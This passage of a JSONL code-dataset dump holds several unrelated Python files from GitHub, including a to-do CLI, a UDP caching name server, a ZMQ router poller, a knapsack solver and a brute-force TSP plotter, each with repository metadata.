'service_id': 'phoned',\n                'service_key': '123',\n            },\n        )\n        config.setdefault('dird', {})\n        config['dird'].setdefault('host', '')\n        config['dird'].setdefault('port', '')\n        config.setdefault(\n            'bus',\n            {\n                'username': 'guest',\n                'password': 'guest',\n                'host': 'localhost',\n                'port': 5672,\n                'subscribe_exchange_name': 'wazo-headers',\n                'subscribe_exchange_type': 'headers',\n            },\n        )\n        config.setdefault('rest_api', {})\n        config['rest_api'].setdefault('authorized_subnets', [])\n        config.setdefault('enabled_plugins', {})\n        return config\n","repo_name":"wazo-platform/wazo-phoned","sub_path":"wazo_phoned/tests/test_controller.py","file_name":"test_controller.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"26210473775","text":"import os \r\nimport logging\r\n\r\ndef create_logger(name, log_file, level=logging.INFO):\r\n\r\n    folder = log_file.replace(log_file.split('/')[-1], \"\")\r\n    if os.path.isdir(folder) is False:\r\n        os.mkdir(folder)\r\n\r\n    \"\"\"Function setup as many loggers as you want\"\"\"\r\n    logging.basicConfig(filename = log_file, level = level, format = '%(asctime)s %(levelname)s %(message)s')\r\n    handler = logging.StreamHandler()    \r\n\r\n    logger = logging.getLogger(name)\r\n    logger.addHandler(handler)\r\n\r\n    return logger\r\n    ","repo_name":"Baron1014/credict_card_recsys","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16399145480","text":"import os\r\n\r\nFILE_LOC = \"data.txt\"\r\n\r\n# color related code for better view on terminal\r\ncolors = {\r\n    'DANGER': '\\033[91m',\r\n    'WARNING': '\\033[33m',\r\n    'MILD': '\\033[94m',\r\n    'OK': '\\033[92m',\r\n    'RESET': '\\033[0m',\r\n    'BLUE': '\\033[94m',\r\n    'CYAN': '\\033[96m',\r\n}\r\n\r\nformat = {0: 5, 1:25, 2:10, 3:25, 4:5}\r\n\r\n# function to get the colored text\r\ndef color(text, text_color):\r\n    if text_color in colors:\r\n        return ''.join([colors[text_color], text, colors['RESET']])\r\n    return text\r\n\r\n# the help text\r\nprint(\"\"\"Usage of the ToDo App CLI\\nWe support following commands as of now\\n\"\"\")\r\nprint('Command List')\r\nprint(\"\\t\" + color(\"Add item\", 'CYAN') + \"               \" + color('--add', 'OK'))\r\n# print(\"\\t\" + color(\"Add due date\", 'CYAN') + \"           \" + color('--due', 'OK'))\r\nprint(\"\\t\" + color(\"Remove an Item\", 'CYAN') + \"         \" + color('--remove', 'OK'))\r\nprint(\"\\t\" + color(\"Mark item done\", 'CYAN') + \"         \" + color('--done', 'OK'))\r\nprint(\"\\t\" + color(\"Mark item not done\", 'CYAN') + \"     \" + color('--undone', 'OK'))\r\nprint(\"\\t\" + color(\"View items\", 'CYAN') + \"             \" + color('--view', 'OK'))\r\n\r\ncmd = input(\"Enter the command \")\r\n\r\nif cmd:\r\n    # Add the item\r\n    if cmd == \"--add\":\r\n        print(color(\"Add your task in following format\", 'BLUE'))\r\n        print(color(\"'Title', 'Due Date', 'Description'\\n\", 'CYAN'))\r\n        data = input()\r\n        data = data.split(\",\")\r\n        data = \", \".join(data)\r\n        if data:\r\n            with open(FILE_LOC, 'r+') as f:\r\n                last_line = f.readlines()[-1]\r\n                if last_line:\r\n                    try:\r\n                        count = int(last_line.split(\",\")[0])+1\r\n                    except ValueError:\r\n                        count = 1\r\n                    f.write(str(count)+\", \"+data+\", [ ]\"\"\\n\")\r\n                print(color(\"Item successfully added!\", 'CYAN'))\r\n    # remove the item\r\n    elif cmd == \"--remove\":\r\n        print(\"\\n\"+color(\"Remove your task by providing the id of the task\", 'BLUE'))\r\n        try:\r\n            id = int(input(\"Enter the id of the task you want to delete \"))\r\n        except ValueError:\r\n            raise(\"Please enter the correct id value\")\r\n        with open(FILE_LOC, 'r') as f:\r\n            lines = f.readlines()\r\n        with open(FILE_LOC, 'w+') as f:\r\n            count = 0\r\n            for line in lines:\r\n                if count == 0:\r\n                    f.write(line)\r\n                    count += 1\r\n                    continue\r\n                no = int(line.split(\", \")[0])\r\n                if no != id:\r\n                    f.write(line)\r\n                count += 1\r\n        print(color(\"Item successfully removed!\", 'CYAN')) \r\n    # mark the item as done            \r\n    elif cmd == \"--done\":\r\n        print(\"\\n\"+color(\"Mark your task as done by providing the id of the task\", 'BLUE'))\r\n        try:\r\n            id = int(input(\"Enter the id of the task you want to mark as done \"))\r\n        except ValueError:\r\n            raise(\"Please enter the correct id value\")\r\n        with open(FILE_LOC, 'r') as f:\r\n            lines = f.readlines()\r\n        with open(FILE_LOC, 'w+') as f:\r\n            count = 0\r\n            for line in lines:\r\n                if count == 0:\r\n                    f.write(line)\r\n                    count += 1\r\n                    continue\r\n                no = int(line.split(\", \")[0])\r\n                if no == id:\r\n                    line_text = line.split(\", \")\r\n                    line_text[-1] = \"[x]\\n\"\r\n                    line = \", \".join(line_text)\r\n                    f.write(line)\r\n                else:\r\n                    f.write(line)\r\n                count += 1\r\n        print(color(\"Item successfully updated!\", 'CYAN')) \r\n    # mark the item as undone\r\n    elif cmd == \"--undone\":\r\n        print(\"\\n\"+color(\"Mark your task as undone by providing the id of the task\", 'BLUE'))\r\n        try:\r\n            id = int(input(\"Enter the id of the task you want to mark as undone \"))\r\n        except ValueError:\r\n            raise(\"Please enter the correct id value\")\r\n        with open(FILE_LOC, 'r') as f:\r\n            lines = f.readlines()\r\n        with open(FILE_LOC, 'w+') as f:\r\n            count = 0\r\n            for line in lines:\r\n                if count == 0:\r\n                    f.write(line)\r\n                    count += 1\r\n                    continue\r\n                no = int(line.split(\", \")[0])\r\n                if no == id:\r\n                    line_text = line.split(\", \")\r\n                    line_text[-1] = \"[ ]\\n\"\r\n                    line = \", \".join(line_text)\r\n                    f.write(line)\r\n                else:\r\n                    f.write(line)\r\n                count += 1\r\n        print(color(\"Item successfully updated!\", 'CYAN')) \r\n    # list all the todo items\r\n    elif cmd == \"--view\":\r\n        with open(FILE_LOC, 'r') as f:\r\n            lines = f.readlines()\r\n            count = 0\r\n            for line in lines:\r\n                data = []\r\n                line = line.split(\", \")\r\n                for i in range(len(line)):\r\n                    data.append(line[i].strip().ljust(format[i]))\r\n                if count == 0:\r\n                    print(color(\" \".join(data), 'OK'))\r\n                else:\r\n                    print(color(\" \".join(data), 'RESET'))\r\n                count += 1   \r\n    else:\r\n        print(\"Command not found, please run the script again and check the help\")\r\n","repo_name":"inovizz/python-for-devops","sub_path":"apps/todo-cli/cli0.py","file_name":"cli0.py","file_ext":"py","file_size_in_byte":5462,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"60"}
+{"seq_id":"12767091250","text":"import sys\nimport socket\nfrom datetime import datetime\n\n\ndef main():\n    run = True\n    port = sys.argv[1]\n    ip_parent = sys.argv[2]\n    parent_port = sys.argv[3]\n    ips_file = sys.argv[4]\n    parent_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # connecting to parent server\n    client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # connecting to client (to me)\n    client_socket.bind(('', int(port)))\n\n    ips_list = []\n    file = open(ips_file)\n    for lines in file:\n        lines = lines.strip(\"\\n\")\n        lines = lines.split(\",\")\n        # the time - alive remaining from the ttl.\n        lines.append(datetime(1, 1, 1, 1, 1, 1))  # initial time.\n        lines.append(\"0\")  # if its 0 - from ips.txt, don't consider ttl\n        ips_list.append(lines)\n\n    ips_dict = {x[0]: x[1:] for x in ips_list}  # convert the list of lists to dictionary\n\n    while run:\n        flag = 0\n        data, addr = client_socket.recvfrom(1024)\n        data = data.decode()\n\n        if data in ips_dict:\n            desired_ip = ips_dict[data][0]\n            desired_ttl = ips_dict[data][1]\n            ip_and_ttl_reply = desired_ip + \",\" + desired_ttl\n            # if the ttl not finished then we can sent the entry to the client, o.w we need to ask parent\n            if is_this_entry_relevant(desired_ttl, ips_dict[data][2], ips_dict[data][3]):\n                client_socket.sendto(ip_and_ttl_reply.encode(), addr)\n                update_file(ips_file, ips_dict)\n            else:\n                flag = 1\n        else:\n            flag = 1\n\n        if flag == 1:  # need to communicate with parent server tp get the entry\n            parent_socket.sendto(data.encode(), (ip_parent, int(parent_port)))\n            parent_data, parent_add = parent_socket.recvfrom(1024)  # receive answer from parent\n            parent_data = parent_data.decode()\n            # add to dictionary\n            first_add, second_add = parent_data.split(',')  #ip and ttl accordingly.\n            third_add = datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')\n            fourth_add = \"1\"  # because this entry come from parent\n            ips_dict[data] = first_add, second_add, third_add, fourth_add\n            reply = ips_dict[data][0] + \",\" + ips_dict[data][1]\n            client_socket.sendto(reply.encode(), addr)\n            update_file(ips_file, ips_dict)\n    client_socket.close()\n    parent_socket.close()\n\n\ndef is_this_entry_relevant(ttl, remaining_time, is_from_parent):\n    if is_from_parent == \"0\":\n        # that means this entry is from txt\n        return True\n    # else - we check the ttl\n    remaining_time = datetime.strptime(remaining_time, '%Y-%m-%d %H:%M:%S.%f')  # convert str to datetime.\n    result = (datetime.now() - remaining_time).total_seconds()\n    return result < float(ttl)\n\n\ndef update_file(file_name, dic):\n    with open(file_name, 'w') as file:\n        file.truncate()  # delete all file content.\n        for name in dic:\n            ip_address = dic[name][0]\n            ttl = dic[name][1]\n            remaining = dic[name][2]\n            parent_flag = dic[name][3]\n            if not is_this_entry_relevant(ttl, remaining, parent_flag):\n                continue\n            str_write = name + \",\" + ip_address + \",\" + ttl + \"\\n\"\n            file.write(str_write)    \n        for name in list(dic.keys()):\n            ip_address = dic[name][0]\n            ttl = dic[name][1]\n            remaining = dic[name][2]\n            parent_flag = dic[name][3]\n            if not is_this_entry_relevant(ttl, remaining, parent_flag):\n                del dic[name]\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"YaelSim/ex1-networks","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15029483394","text":"from fastapi import FastAPI, BackgroundTasks, Path\nimport asyncio\nfrom threading import Thread, Lock\n\nfrom worker import Worker\n\napp = FastAPI()\nworker = Worker()\n\nThread(target=worker.run_worker).start()\n\n@app.get(\"/add\")\nasync def add_item(\n    background_tasks: BackgroundTasks, \n    num: int = Path(..., title=\"The num might be positive integer\", ge=0, le=1000), \n    timeout: int = Path(5, title=\"The num might be in seconds\", ge=0, le=1000)\n):\n    background_tasks.add_task(worker.add_task, num, timeout)\n    return {\"message\": \"task has added\"}\n\n@app.get(\"/list\")\nasync def show_list():\n    return worker._list\n\n@app.get(\"/queue\")\nasync def show_queue():\n    return worker._queue","repo_name":"kordimsan/async-api-web-app","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71950170111","text":"import ipfblock\nimport ioport\nimport ipf.ipfblock.processing\nfrom ipf.ipftype.ipfimage3ctype import IPFImage3cType\n\n\nclass Arithmetic(ipfblock.IPFBlock):\n    \"\"\" Abstract arithmetic block, \n    \n        Works with two images, produces one result image of same size  \n    \n    \"\"\"\n    type = \"Arithmetic\"\n    category = \"Arithmetic and logic\"\n    is_abstract_block = True\n    \n    def __init__(self):\n        super(Arithmetic, self).__init__()\n        self.input_ports[\"input_image_1\"] = ioport.IPort(self, IPFImage3cType)\n        self.input_ports[\"input_image_2\"] = ioport.IPort(self, IPFImage3cType)\n        self.output_ports[\"output_image\"] = ioport.OPort(self, IPFImage3cType)\n        \n\n    def get_preview_image(self):\n        return self.output_ports[\"output_image\"]._value         \n        \n    \n    \n\n","repo_name":"anton-golubkov/Garland","sub_path":"src/ipf/ipfblock/arithmetic.py","file_name":"arithmetic.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34991489356","text":"from collections import defaultdict\nfrom timeit import default_timer as timer\nimport sys\n\n\n# sys.setrecursionlimit(50000)\nwith open(\"knapsack1.txt\", \"r\") as f:\n    first_line = [int(i) for i in f.readline().split()]\n    W = first_line[0]\n    n = first_line[1]\n    data = f.readlines()\n    v = [0]\n    w = [0]\n    for line in data:\n        l = [int(j) for j in line.split()]\n        v.append(l[0])\n        w.append(l[1])\n\n\ndef multi_dict(k):\n    if k == 1:\n        return defaultdict()\n    else:\n        return defaultdict(lambda: multi_dict(k-1))\n\n\n# direct method\nA = multi_dict(2)\nfor x in range(W+1):\n    A[0][x] = 0\nfor i in range(1, n+1):\n    if i > 1:\n        del A[i-2]\n    for x in range(0, W+1):\n        if x-w[i] >= 0:\n            A[i][x] = max(A[i-1][x], A[i-1][x-w[i]]+v[i])\n        else:\n            A[i][x] = A[i-1][x]\n\nprint(A[n][W])\n\n\n# def knapSack(Wt, wt, vt, nt):\n#     if nt == 0 or Wt == 0:\n#         return 0\n#     if wt[n-1] > Wt:\n#         return knapSack(Wt, wt, vt, n-1)\n#     else:\n#         return max(\n#             vt[n-1]+knapSack(Wt-wt[nt-1], wt, vt, n-1),\n#             knapSack(Wt, wt, vt, n-1)\n#         )\n#\n#\n# print(knapSack(W, w, v, n))","repo_name":"zhzeshu/Algorithms_Coursera","sub_path":"week12.py","file_name":"week12.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75310281792","text":"import csv\nfrom matplotlib import pyplot as plt\nfrom matplotlib.ticker import MultipleLocator\nfrom matplotlib import rcParams\n\nconfig = {\n    \"font.family\": \"serif\",\n    # \"font.size\": 24,\n    \"mathtext.fontset\": \"stix\",\n    \"font.serif\": [\"SimHei\"],\n}\nrcParams.update(config)\n\n\ndef get_data(fliename, i, rounds):\n    train_accuracy = []\n    with open(\"{}.csv\".format(fliename), \"r\", encoding=\"utf-8\") as f:\n        f_read = csv.reader(f)\n        num = 0\n        for v in f_read:\n\n            if len(v) != 0 and num != 0:\n                train_accuracy.append(float(v[i]))\n            num += 1\n            if num == rounds + 1:\n                break\n    return train_accuracy\n\n\ndef plot_MI(file, order, name, title, save_name, rounds, index='Testing  Accuracy'):\n    \"\"\"\n    Verify the validity of mutual information\n    \"\"\"\n    test_accuracy = get_data(file, order[0], rounds)\n    test_accuracy1 = get_data(file, order[1], rounds)\n    test_accuracy2 = get_data(file, order[2], rounds)\n    plt.figure()\n\n    plt.plot(range(len(test_accuracy)), test_accuracy, marker=\".\", markersize=3,\n             label=u'' + name[0], linewidth=1.0, color='r')\n    plt.plot(range(len(test_accuracy1)), test_accuracy1, marker=\".\", markersize=3,\n             label=u'' + name[1], linewidth=1.0, color='b')\n    plt.plot(range(len(test_accuracy2)), test_accuracy2, marker=\".\", markersize=3,\n             label=u'' + name[2], linewidth=1.0, color='purple')\n\n    plt.tick_params(axis='both', which='major', direction='in', width=1, labelsize=10)  # 刻度width=2\n\n    ax = plt.gca()\n\n    ax.yaxis.set_major_locator(MultipleLocator(0.01))\n    ax.xaxis.set_major_locator(MultipleLocator(rounds / 10))\n\n    # ax.set_ylim(0.64, 0.76)\n    ax.set_ylim(0.92, 0.97)\n    ax.set_xlim(0, rounds)\n\n    ax.spines['bottom'].set_linewidth(0.6)  # 设置底部坐标轴的粗细\n    ax.spines['left'].set_linewidth(0.6)  # 设置左边坐标轴的粗细\n    ax.spines['right'].set_linewidth(0.6)  # 设置右边坐标轴的粗细\n    ax.spines['top'].set_linewidth(0.6)\n\n    plt.legend(loc='lower right', fontsize=10)\n\n    plt.text(0.02, 0.94, s='$\\mathrm{(b)}$', fontsize=10, transform=ax.transAxes)\n\n    ax.set_ylabel(index, fontsize=10)\n    ax.set_xlabel('Communication Rounds', fontsize=10)\n    plt.title(title, fontsize=10)\n\n    plt.rcParams['savefig.dpi'] = 1000\n    plt.rcParams['figure.dpi'] = 1000\n    plt.savefig('zn' + save_name, format='jpg', transparent=True)\n    plt.show()\n\n\ndef plot(file, order, name, title, save_name, rounds, index='Testing  Accuracy'):\n    \"\"\"\n    Compare the difference weighting schemes(Loss and Avg)\n    \"\"\"\n    test_accuracy = get_data(file, order[0], rounds)\n    test_accuracy1 = get_data(file, order[1], rounds)\n    plt.figure()\n\n    plt.plot(range(len(test_accuracy)), test_accuracy, marker=\".\", markersize=3, markevery=3,\n             label=u'' + name[0], linewidth=1.0, color='r')\n    plt.plot(range(len(test_accuracy1)), test_accuracy1, marker=\".\", markersize=3, markevery=3,\n             label=u'' + name[1], linewidth=1.0, color='b')\n\n    plt.tick_params(axis='both', which='major', direction='in', width=1, labelsize=10)  # 刻度width=2\n\n    ax = plt.gca()\n\n    ax.yaxis.set_major_locator(MultipleLocator(0.02))\n    ax.xaxis.set_major_locator(MultipleLocator(rounds / 10))\n\n    plt.ylim(0.64, 0.76)\n    plt.xlim(0, rounds)\n    ax.spines['bottom'].set_linewidth(0.6)\n    ax.spines['left'].set_linewidth(0.6)\n    ax.spines['right'].set_linewidth(0.6)\n    ax.spines['top'].set_linewidth(0.6)\n\n    plt.legend(loc='lower right', fontsize=10)\n    plt.text(0.02, 0.94, s='$\\mathrm{(a)}$', fontsize=10, transform=ax.transAxes)\n\n    plt.ylabel(index, fontsize=10)\n    plt.xlabel('Communication Rounds', fontsize=13)  # 'Communication Rounds'\n    plt.title(title, fontsize=10)\n\n    # 保存\n    plt.rcParams['savefig.dpi'] = 1000\n    plt.rcParams['figure.dpi'] = 1000\n    plt.savefig('zn' + save_name, format='jpg', transparent=True)\n    plt.show()\n\n\nif __name__ == '__main__':\n    rounds = 50\n    # file = '../exp/fmnist15_w'\n    # order = [1, 2, 0]\n    # name = ['$\\mathrm{MI}$', '$\\mathrm{Fomo}$', '$\\mathrm{Avg}$']\n    # title = r\"$\\mathrm{FMNIST}$数据集, $\\mathrm{15}$个客户机\"\n    # save_name = \"fmnist15_w.jpg\"\n\n    # file = '../exp/cifar15_w'\n    # order = [1, 0, 2]\n    # name = ['$\\mathrm{MI}$', '$\\mathrm{Fomo}$', '$\\mathrm{Avg}$']\n    # title = r\"$\\mathrm{CIFAR}$-10数据集, $\\mathrm{15}$个客户机\"\n    # save_name = \"cifar15_w.jpg\"\n    # plot_MI(file, order, name, title, save_name, rounds,'平均测试准确率')\n\n    # order = [1, 0]\n    # name = ['$\\mathrm{Avg}$', '$\\mathrm{Loss}$']\n\n    # CIFAR\n    # rounds = 100\n    # file = '../exp/avg_w/cifar50_avg_w'\n    # title = r\"$\\mathrm{CIFAR}$-10数据集, $\\mathrm{50}$个客户机\"\n    # save_name = \"cifar50_avg_w.jpg\"\n\n    # rounds = 50\n    # file = '../exp/avg_w/cifar15_avg_w'\n    # title = r\"$\\mathrm{CIFAR}$-10数据集, $\\mathrm{15}$个客户机\"\n    # save_name = \"cifar15_avg_w.jpg\"\n    # FMNIST\n\n    # rounds = 50\n    # file = '../exp/avg_w/fmnist15_avg_w'\n    # title = r\"$\\mathrm{FMNIST}$数据集, $\\mathrm{15}$个客户机\"\n    # save_name = \"fmnist15_avg_w.jpg\"\n    #\n    # rounds = 100\n    # file = '../exp/avg_w/fmnist50_avg_w'\n    # title = r\"$\\mathrm{FMNIST}$数据集, $\\mathrm{50}$个客户机\"\n    # save_name = \"fmnist50_avg_w.jpg\"\n    # plot(file, order, name, title, save_name, rounds, '平均测试准确率')\n","repo_name":"zhengLabs/pFedMI","sub_path":"plot/plot2.py","file_name":"plot2.py","file_ext":"py","file_size_in_byte":5416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4160124205","text":"import random\nimport tkinter as tk\n\n\nm = tk.Tk()\n''' \nwidgets are added here \n'''\n\n\ndef roll(y):\n    result = random.randint(1, y)\n    print(result)\n    # return result\n\n\nprint('enter the maximum number')\n\n# print(roll(int(input())))\n\n\nm.title('Dice roller')\nbutton = tk.Button(m, text='Roll', width=25, command=roll(6))\nbutton.pack()\n\nm.mainloop()\n\n\n\n","repo_name":"DuncanSage/dice","sub_path":"dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3954503384","text":"import zmq\nimport time\nfrom ppp import *\nfrom queue import WRouteQueue\nfrom queue import WRouteItem\nfrom threading import Thread\n\nimport sys\nsys.path.append('../../lib')\nfrom default import WROUTE_ADDR, WROUTE_BACKEND_ADDR\nfrom log import log_err\n\nclass WRoutePoller(Thread):\n    def _init_sock(self):\n        self._context = zmq.Context(1)\n        self._frontend = self._context.socket(zmq.ROUTER)\n        self._backend = self._context.socket(zmq.ROUTER)\n        self._frontend.bind(WROUTE_ADDR)\n        self._backend.bind(WROUTE_BACKEND_ADDR)\n        self._poller_backend = zmq.Poller()\n        self._poller_backend.register(self._backend, zmq.POLLIN)\n        self._poller = zmq.Poller()\n        self._poller.register(self._frontend, zmq.POLLIN)\n        self._poller.register(self._backend, zmq.POLLIN)\n        \n    def __init__(self):\n        Thread.__init__(self)\n        self._queue = WRouteQueue()\n        self._init_sock()\n        self._active = True\n    \n    @property\n    def name(self):\n        return self.__class__.__name__\n    \n    def run(self):\n        timeout = time.time() + PPP_HEARTBEAT_INTERVAL\n        while self._active:\n            if len(self._queue.queue) > 0:\n                poller = self._poller\n            else:\n                poller = self._poller_backend\n            socks = dict(poller.poll(PPP_HEARTBEAT_INTERVAL * 1000))\n            if socks.get(self._backend) == zmq.POLLIN:\n                frames = self._backend.recv_multipart()\n                if not frames:\n                    break\n                identity = frames[0]\n                self._queue.add(WRouteItem(identity))\n                msg = frames[1:]\n                if len(msg) == 1:\n                    if msg[0] not in (PPP_READY, PPP_HEARTBEAT):\n                        log_err(self, \"invalid message, %s\" % msg)\n                else:\n                    self._frontend.send_multipart(msg)\n                \n                if time.time() >= timeout:\n                    for identity in self._queue.queue:\n                        msg = [identity, PPP_HEARTBEAT]\n                        self._backend.send_multipart(msg)\n                    timeout = time.time() + PPP_HEARTBEAT_INTERVAL\n                    \n            if socks.get(self._frontend) == zmq.POLLIN:\n                frames = self._frontend.recv_multipart()\n                if not frames:\n                    break\n                frames.insert(0, self._queue.pop())\n                self._backend.send_multipart(frames)\n            \n            self._queue.purge()\n            \n    def stop(self):\n        self._active = False\n    ","repo_name":"sitian/wing","sub_path":"services/wroute/poller.py","file_name":"poller.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24675497902","text":"\"\"\"Optimal expert that additionally uses substitution actions.\"\"\"\nfrom typing import Any, Iterable, List, Sequence\n\nimport numpy as np\n\nfrom trans import actions\nfrom trans import optimal_expert\nfrom trans.actions import Copy, Del, Edit, EndOfSequence, Ins, Sub\n\n\nclass EditDistanceAligner(actions.Aligner):\n    def __init__(self, del_cost=1.0, ins_cost=1.0, sub_cost=1.0):\n        self.del_cost = del_cost\n        self.ins_cost = ins_cost\n        self.sub_cost = sub_cost\n\n    def action_sequence_cost(\n        self, x: Sequence[Any], y: Sequence[Any], x_offset: int, y_offset: int\n    ) -> float:\n        ed = optimal_expert.edit_distance(\n            x,\n            y,\n            del_cost=self.del_cost,\n            ins_cost=self.ins_cost,\n            sub_cost=self.sub_cost,\n            x_offset=x_offset,\n            y_offset=y_offset,\n        )\n        return ed[-1, -1]\n\n    def action_cost(self, action: Edit):\n        if isinstance(action, Copy) or isinstance(action, EndOfSequence):\n            return 0\n        if isinstance(action, Del):\n            return self.del_cost\n        if isinstance(action, Ins):\n            return self.ins_cost\n        if isinstance(action, Sub):\n            return self.sub_cost\n        raise ValueError(f\"Unexpected action: {action}!\")\n\n\nclass NoSubstitutionAligner(EditDistanceAligner):\n    def __init__(self):\n        super().__init__(del_cost=1.0, ins_cost=1.0, sub_cost=1.0)\n\n    def action_cost(self, action: Edit):\n        if isinstance(action, Sub):\n            return np.inf\n        return super().action_cost(action)\n\n\nclass OptimalSubstitutionExpert(optimal_expert.OptimalExpert):\n    def __init__(\n        self, aligner: actions.Aligner, maximum_output_length: int = 150\n    ):\n        super().__init__(maximum_output_length)\n        self.aligner = aligner\n\n    def find_valid_actions(\n        self,\n        x: Sequence[Any],\n        i: int,\n        y: Sequence[Any],\n        prefixes: Iterable[optimal_expert.Prefix],\n    ):\n        if len(y) >= self.maximum_output_length:\n            return {EndOfSequence()}\n        input_not_empty = i < len(x)\n        attention = x[i] if input_not_empty else None\n        actions_prefixes: List[optimal_expert.ActionsPrefix] = []\n        for prefix in prefixes:\n            prefix_insert = prefix.leftmost_of_suffix\n            if prefix_insert is None:\n                valid_actions = {EndOfSequence()}\n            else:\n                valid_actions = {Ins(prefix_insert)}\n            if input_not_empty:\n                if prefix_insert is not None:\n                    if prefix_insert == attention:\n                        valid_actions.add(Copy(attention, prefix_insert))\n                    else:\n                        valid_actions.add(\n                            Sub(old=attention, new=prefix_insert)\n                        )\n                valid_actions.add(Del(attention))\n            actions_prefix = optimal_expert.ActionsPrefix(\n                valid_actions, prefix\n            )\n            actions_prefixes.append(actions_prefix)\n        return actions_prefixes\n\n    def roll_out(\n        self,\n        x: Sequence[Any],\n        t: Sequence[Any],\n        i: int,\n        actions_prefixes: Iterable[optimal_expert.ActionsPrefix],\n    ):\n        costs_to_go = dict()\n        for actions_prefix in actions_prefixes:\n            suffix_begin = actions_prefix.prefix.j\n            for action in actions_prefix.actions:\n                if isinstance(action, Del):\n                    x_offset = i + 1\n                    t_offset = suffix_begin\n                elif isinstance(action, Ins):\n                    x_offset = i\n                    t_offset = suffix_begin + 1\n                elif isinstance(action, Sub):\n                    x_offset = i + 1\n                    t_offset = suffix_begin + 1\n                elif isinstance(action, EndOfSequence):\n                    x_offset = i\n                    t_offset = suffix_begin\n                else:\n                    raise ValueError(f\"Unknown action: {action}\")\n                sequence_cost = self.aligner.action_sequence_cost(\n                    x, t, x_offset, t_offset\n                )\n                action_cost = self.aligner.action_cost(action)\n                cost = action_cost + sequence_cost\n                if action not in costs_to_go or costs_to_go[action] > cost:\n                    costs_to_go[action] = cost\n        return costs_to_go\n","repo_name":"sigmorphon/2021-task1","sub_path":"baseline/trans/optimal_expert_substitutions.py","file_name":"optimal_expert_substitutions.py","file_ext":"py","file_size_in_byte":4428,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"60"}
+{"seq_id":"36306909958","text":"#Import libraries\r\nfrom itertools import permutations\r\nfrom matplotlib import style    \r\nimport math\r\nimport matplotlib.pyplot as plt \r\n\r\n####################################################################################\r\n#Declare empty arrays to store x,y coordinates\r\nleast_distance = math.inf\r\nbestx = []\r\nbesty = []\r\nbest_path = []\r\nx = []\r\ny = []\r\n\r\n####################################################################################\r\n#function definitions\r\n\r\n#read and parse data file\r\ndef read_datafile(path):\r\n    #Import data file\r\n    i = 0\r\n    x = []\r\n    y = []\r\n    with open((path), \"r\") as file:\r\n      for line in file:\r\n        split_line = line.strip().split(\" \")\r\n        \r\n        #Track line number to remove header info\r\n        if i > 6:\r\n            #Populate x,y coordinate pairs into arrays\r\n            x.append(float(split_line[1]))\r\n            y.append(float(split_line[2]))\r\n        #increment line counter\r\n        i += 1    \r\n    return x, y\r\n\r\n#######################################################\r\n#graph sets of xy coordinates\r\ndef graph_coords(x, y, min_dist):\r\n    #Define graph style\r\n    style.use('dark_background')\r\n    \r\n    # plotting the points\r\n    plt.plot(x, y,'ro-')\r\n    for i in range(len(x) - 1):\r\n        plt.annotate(i + 1, (x[i], y[i]), textcoords=\"offset points\", xytext=(0,5), ha = 'center')\r\n        \r\n    # naming the axes \r\n    plt.xlabel('x - axis') \r\n    plt.ylabel('y - axis') \r\n      \r\n    # giving a title to my graph \r\n    plt.title((\"Optimum Path Length: \" + str(min_dist)))\r\n      \r\n    # function to show the plot \r\n    plt.pause(.05)\r\n    plt.show()    \r\n\r\n    return\r\n\r\n#######################################################\r\n#Convert the indices to actual point numbers as in the tsp file\r\ndef index2point(path):\r\n    out = []\r\n    for element in path:\r\n        out.append(element+1)        \r\n    return out\r\n\r\n#######################################################\r\n#Calculate distance for the trip\r\ndef calculate_trip_dist(tripx, tripy):\r\n    dist = 0\r\n    for i in range(len(tripx) - 1):\r\n        dist = dist + (math.hypot(tripx[i] - tripx[(i+1)], tripy[i] - tripy[i+1]))\r\n    return dist\r\n\r\n####################################################################################\r\n\r\n############\r\n#INPUT \r\n###########\r\n\r\n#data file path\r\nfile_path = str(r'C:\\Users\\burkh\\OneDrive\\Desktop\\AI\\Project1\\datasets\\Random4.tsp')\r\n#used to read and parse the tsp file\r\nx, y = read_datafile(file_path)\r\n\r\n\r\n############\r\n#PROCESSING\r\n###########\r\n\r\n#Create all possible paths\r\nperm = permutations(range(len(x)))\r\n\r\n#iterate through permutations\r\nfor p in perm: \r\n    tripx = []\r\n    tripy = []\r\n    \r\n    #record trip using permutations of the range of 0 -> length(x) as pointers\r\n    for element in p:\r\n        tripx.append(x[element])\r\n        tripy.append(y[element])\r\n        \r\n    #take trip back to starting node  \r\n    tripx.append(x[p[0]])\r\n    tripy.append(y[p[0]])\r\n    \r\n    #Calculate distance for the trip\r\n    temp_dist = 0\r\n    temp_dist = calculate_trip_dist(tripx, tripy)\r\n    \r\n    #store lowest distance and trip\r\n    if(temp_dist < least_distance):\r\n        least_distance = temp_dist\r\n        #Store current optimums\r\n        bestx = tripx\r\n        besty = tripy\r\n        best_path = p\r\n        \r\n############\r\n#OUTPUT\r\n###########\r\n        \r\n#Create graph of the optimum path       \r\ngraph_coords(bestx, besty, 